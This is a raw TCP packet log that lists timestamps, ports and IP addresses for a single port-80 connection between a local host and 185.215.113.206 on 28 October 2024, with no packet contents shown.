Oct 28, 2024 08:17:38.830302954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830307961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830321074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830324888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830332994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830352068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830357075 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830357075 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830365896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830377102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830388069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830400944 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830400944 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830415964 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830432892 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830604076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830671072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830699921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830699921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830723047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830774069 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.869802952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.869824886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.869837999 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.869977951 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.870085001 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.870668888 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.870682001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.870692015 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.870735884 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.870735884 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.870874882 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.870887995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.870898962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.870918989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.870928049 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.870940924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.870942116 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.870953083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.870969057 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.870992899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.871011972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.871030092 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.871032953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.871042967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.871068954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.871068954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.871078968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.871109962 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.871109962 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.913450003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.913460970 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.913470030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.913503885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.913542032 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.913702965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.945628881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.945641041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.945650101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.945790052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.945790052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947498083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947509050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947518110 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947559118 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947570086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947570086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947570086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947581053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947611094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947644949 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947700024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947715044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947727919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947746992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947766066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947766066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947767973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947778940 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947798967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947808981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947822094 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947822094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947822094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947853088 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947853088 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947879076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947890997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947901964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.947940111 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.947940111 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948029041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948076010 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948091030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948112965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948148012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948148012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948235989 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948246002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948256016 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948273897 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948302031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948303938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948322058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948333979 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948343039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948348045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948354959 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948371887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948371887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948406935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948463917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948507071 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948517084 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948527098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948537111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948576927 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948576927 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948600054 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948658943 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948685884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948707104 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948719025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948729038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948734045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948734045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948740959 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948745966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948771954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948779106 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948787928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.948801041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948827028 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.948827028 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949218035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949275970 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949305058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949322939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949336052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949347973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949358940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949358940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949359894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949371099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949374914 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949408054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949408054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949434042 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949445963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949455976 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949466944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949479103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949484110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949484110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949520111 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949520111 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949580908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949595928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949605942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949618101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949629068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949639082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949649096 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949651957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949664116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949677944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949681044 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949681044 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949686050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949702978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949742079 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949800968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949835062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949865103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949876070 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949903965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949913025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.949919939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949965954 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949975967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949985981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.949987888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.950012922 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.950012922 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.950028896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.950059891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.950069904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.950081110 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.950093985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.950109959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.950109959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.950172901 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.950189114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.950294971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.989124060 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.989136934 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.989147902 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.989216089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.989337921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.990073919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990124941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.990134954 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990144968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990185022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.990350962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990362883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990370035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990406990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990408897 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.990418911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990456104 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.990483999 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990494967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990504980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990516901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990530968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990541935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.990541935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.990547895 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.990565062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.990662098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.033143044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.033157110 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.033169985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.033292055 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.033292055 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.064990997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.065002918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.065013885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.065067053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.065078974 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.065104961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.065104961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.065104961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.065126896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.066804886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.066828966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.066839933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.066854000 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.066870928 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.066904068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.066917896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.066929102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.066941977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.066962004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.066987038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067147017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067177057 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067189932 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067198992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067202091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067213058 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067230940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067250013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067262888 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067267895 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067275047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067286968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067291021 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067331076 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067332029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067377090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067388058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067399979 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067415953 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067445993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067445993 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067459106 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067471027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067502022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067502022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067527056 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067579031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067591906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067605019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067622900 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067648888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067648888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067673922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067689896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067718983 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067739964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067760944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067771912 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067783117 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067810059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067821980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067838907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067851067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067876101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067879915 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067888021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067900896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.067938089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.067938089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.068077087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068123102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068123102 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.068134069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068150997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068161964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068171024 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.068180084 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068191051 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068192005 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.068201065 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.068203926 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068233967 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.068233967 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.068353891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068366051 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068377018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068399906 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.068424940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.068867922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068892002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068902969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068919897 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.068936110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.068943024 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.068974018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068984985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.068996906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.069010019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.069042921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.069042921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.069108009 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.069118977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.069130898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.069143057 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.069148064 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.069160938 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.069170952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.069175959 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.069188118 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.069195986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.069215059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.069257021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.069327116 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.070084095 CET	80	49766	185.215.113.206	192.168.2.4
